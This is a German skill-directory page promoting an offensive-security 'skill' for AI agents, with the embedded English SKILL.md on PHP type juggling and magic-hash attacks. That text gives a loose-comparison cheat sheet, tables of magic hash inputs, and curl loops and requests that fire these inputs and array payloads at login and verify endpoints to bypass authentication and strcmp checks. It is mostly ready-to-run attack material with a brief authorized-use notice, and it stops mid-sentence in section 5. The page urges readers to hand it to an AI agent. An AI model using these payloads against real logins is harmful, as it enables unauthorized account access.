Zum Inhalt springen
Skillpedia
Sicherheit6.5k · #14075

php-type-juggling

Was er macht

Diese Fähigkeit erklärt, wie lockere Vergleiche in PHP Angreifern Prüfungen umgehen lassen können. Sie richtet sich an Sicherheitsprüfer, die PHP-Apps prüfen, besonders Authentifizierung und Hash-Vergleiche.

Wann du ihn nutzt

  • ✓Wenn eine PHP-App Hashes oder Token mit dem lockeren Vergleichsoperator vergleicht.
  • ✓Wenn eine Sicherheitsprüfung fragt, ob Authentifizierungsprüfungen strikte Vergleiche nutzen.
  • ✓Wenn eine PHP-Anmeldung unerwartete Werte wie null oder numerische Zeichenketten annimmt.

Link zum Skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/php-type-juggling/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Kannst du prüfen, ob meine PHP-Anmeldung umgangen werden kann, weil sie einen lockeren Vergleich nutzt?”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Dein Agent erklärt und testet Werte, die PHP bei lockerem Vergleich als gleich ansieht, etwa numerische Zeichenketten, die wie Hashes aussehen, und prüft, ob eine Prüfung besteht.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

PHP Type Juggling and Magic Hash Attacks

Authorized-use only. Only test systems you own or have explicit written permission to test. Unauthorized exploitation violates computer-fraud laws worldwide.

PHP is a loosely typed language. When comparing values with == (loose) rather than === (strict), PHP coerces types — a string beginning with 0e followed only by digits is treated as scientific notation and equals 0. An attacker who controls one side of a comparison can force equality with predictable hash outputs ("magic hashes"), bypass HMAC checks, or exploit NULL returns from type errors.

Affects PHP 5.x–7.x broadly; PHP 8.0+ fixed most numeric-string comparisons but edge cases remain.

ATT&CK Mapping

Technique Notes
T1190 Exploit public-facing application — auth bypass via comparison flaw
T1606.001 Forge web credentials — force authentication with crafted hash values

1. Loose Comparison Cheat Sheet

'0010e2'  == '1e3'      → true   (both evaluate as float 1000)
'123'     == 123        → true   (string cast to int)
'123abc'  == 123        → true   (leading numeric string)
'abc'     == 0          → true   (non-numeric string == 0 in PHP 5/7)
''        == 0          → true
0         == false      → true
false     == NULL       → true
NULL      == ''         → true
md5([])   == NULL       → true   (NULL == any string starting with 0e)
sha1([])  == NULL       → true

PHP 8.0 change: 'abc' == 0 now evaluates to false. Check target PHP version before assuming string-zero bypass.

2. Magic Hashes — 0e Collisions

When a hash output starts with 0e followed only by digits, PHP's == comparison treats it as float 0. Two such hashes are "equal" under == regardless of their actual values.

MD5 Magic Strings

Input MD5 Hash
240610708 0e462097431906509019562988736854
QNKCDZO 0e830400451993494058024219903391
0e1137126905 0e291659922323405260514745084877
0e215962017 0e291242476940776845150308577824
aabg7XSs 0e087386482136013740957780965295

SHA-1 Magic Strings

Input SHA-1 Hash
10932435112 0e07766915004133176347055865026311692244
aaroZmOk 0e66507019969427134894567494305185566735
aaK1STfY 0e76658526655756207688271159624026011393

SHA-224 / SHA-256 Magic Strings

Hash Input Output
SHA-224 10885164793773 0e281250946775200129471613219196999537878926740638594636
SHA-256 34250003024812 0e46289032038065916139621039085883773413820991920706299695051332
SHA-256 TyNOQHUS 0e66298694359207596086558843543959518835691168370379069085300385

Exploitation

# Login bypass — submit a magic hash input instead of the real password
# Server code: if (md5($input) == $stored_hash) { login() }
# If $stored_hash is also a 0e... hash, any 0e... input collides.

# Try magic inputs against a login endpoint
for magic in "240610708" "QNKCDZO" "0e1137126905" "aabg7XSs"; do
  echo -n "Trying $magic: "
  curl -si "https://target.example.com/login" \
    -d "username=admin&password=${magic}" \
    | grep -E "Location:|Set-Cookie:|Welcome|dashboard" | head -2
done

3. NULL Bypass via Array Input

md5([]) and sha1([]) in PHP 5/7 return NULL with a warning. Under loose comparison, NULL == '' is true. If the server compares md5($input) == '' or similar:

# Send array input to hash functions — triggers NULL return
curl -si "https://target.example.com/login" \
  -d "username=admin&password[]=" \
  | grep -E "Location:|Set-Cookie:|error"

# POST with array notation
curl -si "https://target.example.com/verify" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "hash[]=&user=admin" \
  | grep -i "success\|error\|redirect"

4. strcmp() Return Value Bypass

strcmp() returns 0 (equal) on success, non-zero otherwise. Under loose comparison, strcmp($input, $secret) == 0 can be bypassed by passing an array (returns NULL, and NULL == 0 is true in PHP 5/7):

# Bypass strcmp-based password check
# Server: if (strcmp($_POST['pass'], $secret) == 0) { ... }
curl -si "https://target.example.com/login" \
  -d "username=admin&pass[]=" \
  | grep -iE "success|welcome|redirect|Location"

5. HMAC Brute-Force for 0e Collision (Magic HMAC)

When a cookie HMAC is verified with loose comparison against "0", an attacker

Häufige Fragen

Was ist ein magischer Hash?

Ein Wert, dessen Hash mit einer Null, einem e und Ziffern beginnt, die PHP bei lockerem Vergleich als Null liest.

Gilt das auch für neuere PHP-Versionen?

Die Fähigkeit sagt, PHP 8 hat die meisten Fälle mit numerischen Zeichenketten behoben, einige Randfälle bleiben aber.

Geht es nur um Passwörter?

Nein. Sie behandelt auch HMAC-Prüfungen und Probleme bei NULL-Rückgaben.

Details

Originalbeschreibung des Autors

PHP type juggling and magic hash attacks — exploit loose comparison (==) with 0e-prefixed hash collisions and NULL returns to bypass authentication.

repo: BitterSecurity/Decepticon

Beliebtheit

GitHub-Sterne
6.5k
Platz im Ranking
#14075
Lizenz
Apache-2.0
Aktualisiert
1.11.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills